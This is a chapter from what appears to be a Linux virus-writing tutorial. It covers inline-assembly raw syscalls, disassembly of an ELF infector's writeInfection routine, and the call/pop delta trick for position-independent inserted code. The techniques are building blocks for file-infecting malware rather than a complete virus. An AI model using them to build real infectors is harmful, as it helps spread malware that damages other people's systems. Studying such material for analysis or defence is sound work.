Doing it in C

 

Unix was not designed to stop people from doing stupid things, because that would also stop them from doing clever things.

 Doug Gwyn

In the language of evil I declared the code generated by gcc to be unsuitable for a virus. And then rewrote the whole thing in assembly. A less drastic solution is to use inline assembly to correct only what's really necessary.

System calls

Compare with In doubt use force. No need for the function to set errno. We can't access global variables, anyway. Actually our code does not care for the return value at all.

Source - do_syscall.

int do_syscall(int number, ...)
{
  __asm__(
    "push  %ebx           ;"
    "mov   0x1C(%ebp),%edi;"
    "mov   0x18(%ebp),%esi;"
    "mov   0x14(%ebp),%edx;"
    "mov   0x10(%ebp),%ecx;"
    "mov   0x0C(%ebp),%ebx;"
    "mov   0x08(%ebp),%eax;"
    "int   $0x80          ;"
    "pop   %ebx           "
  );
}

Position independent code

Previous examples required a separate pass to build the insertable code. Output of the first pass is one chunk of bytes. The only interface to the infector is the place to patch with the original entry address (4 bytes at offset 1).

The crucial part are the lines in writeInfection where we pass the address of the chunk of bytes to write(2). In a real virus these lines will also be part of inserted code. Let's have a look at the disassembly. Because of C++ name mangling this is not that easy, anyway.

Command.

#!/bin/sh
file=${1:-tmp/one_step_closer/one/infector}
func=${2:-writeInfection}
symbol=$( nm ${file} | perl -ane "m/${func}/ && print \$F[2];" )
gdb ${file} -q <<EOT | sed -ne '/:$/,/ret *$/p'
        set disassembly-flavor intel
        disassemble ${symbol}
EOT

Output - writeInfection.asm.

(gdb) (gdb) Dump of assembler code for function writeInfection__6Target:
0x8049504 <writeInfection__6Target>:	push   ebp
0x8049505 <writeInfection__6Target+1>:	mov    ebp,esp
0x8049507 <writeInfection__6Target+3>:	push   ebx
0x8049508 <writeInfection__6Target+4>:	sub    esp,0x8
0x804950b <writeInfection__6Target+7>:	push   0x1a
0x804950d <writeInfection__6Target+9>:	push   0x8049c43
0x8049512 <writeInfection__6Target+14>:	mov    ebx,DWORD PTR [ebp+8]
0x8049515 <writeInfection__6Target+17>:	push   ds:0x804b064
0x804951b <writeInfection__6Target+23>:	call   0x8048ce0 <fprintf>
0x8049520 <writeInfection__6Target+28>:	add    esp,0xc
0x8049523 <writeInfection__6Target+31>:	push   0x1
0x8049525 <writeInfection__6Target+33>:	push   0x8049bf0
0x804952a <writeInfection__6Target+38>:	push   DWORD PTR [ebx]
0x804952c <writeInfection__6Target+40>:	call   0x8048cb0 <write>
0x8049531 <writeInfection__6Target+45>:	add    esp,0xc
0x8049534 <writeInfection__6Target+48>:	push   0x4
0x8049536 <writeInfection__6Target+50>:	lea    eax,[ebx+24]
0x8049539 <writeInfection__6Target+53>:	push   eax
0x804953a <writeInfection__6Target+54>:	push   DWORD PTR [ebx]
0x804953c <writeInfection__6Target+56>:	call   0x8048cb0 <write>
0x8049541 <writeInfection__6Target+61>:	add    esp,0xc
0x8049544 <writeInfection__6Target+64>:	push   0x15
0x8049546 <writeInfection__6Target+66>:	push   0x8049bf5
0x804954b <writeInfection__6Target+71>:	push   DWORD PTR [ebx]
0x804954d <writeInfection__6Target+73>:	call   0x8048cb0 <write>
0x8049552 <writeInfection__6Target+78>:	add    esp,0x10
0x8049555 <writeInfection__6Target+81>:	mov    ebx,DWORD PTR [ebp-4]
0x8049558 <writeInfection__6Target+84>:	leave  
0x8049559 <writeInfection__6Target+85>:	ret    

Member variables are accessed through this, which is kept in register ebx. This is a good thing. The bad thing are pushed constants 0x8049c43 and 0x4.

The naive approach is to patch these instructions on infection. But this again leads to a two-pass process. The first is required to find the offset of required patches. A more comfortable approach is to make the code position independent by calculating absolute addresses at run-time. Note that gcc's option -fpic does not help this problem at all.

-fpic

Generate position-independent code (PIC) suitable for use in a shared library, if supported for the target machine. Such code accesses all constant addresses through a global offset table (GOT). The dynamic loader resolves the GOT entries when the program starts (the dynamic loader is not part of GCC; it is part of the operating system). If the GOT size for the linked executable exceeds a machine-specific maximum size, you get an error message from the linker indicating that -fpic does not work; in that case, recompile with -fPIC instead. (These maximums are 16k on the m88k, 8k on the Sparc, and 32k on the m68k and RS/6000. The 386 has no such limit.)

IP or not IP

The instruction pointer is a register that holds the address of the next instruction to execute. Unlike "real" registers there is no direct way to retrieve its value. A call pushes the current value of IP onto the stack and adds a relative offset to it. Doing a pop instead of ret will load the value IP had at a known position into a regular register.

Source - relocate.

void* relocate(void* address)
{
  __asm__(
    "call	delta;         "
    "delta:                    "
    "pop	%eax;          "
    "sub	$(delta),%eax; "
    "add	0x08(%ebp),%eax");
}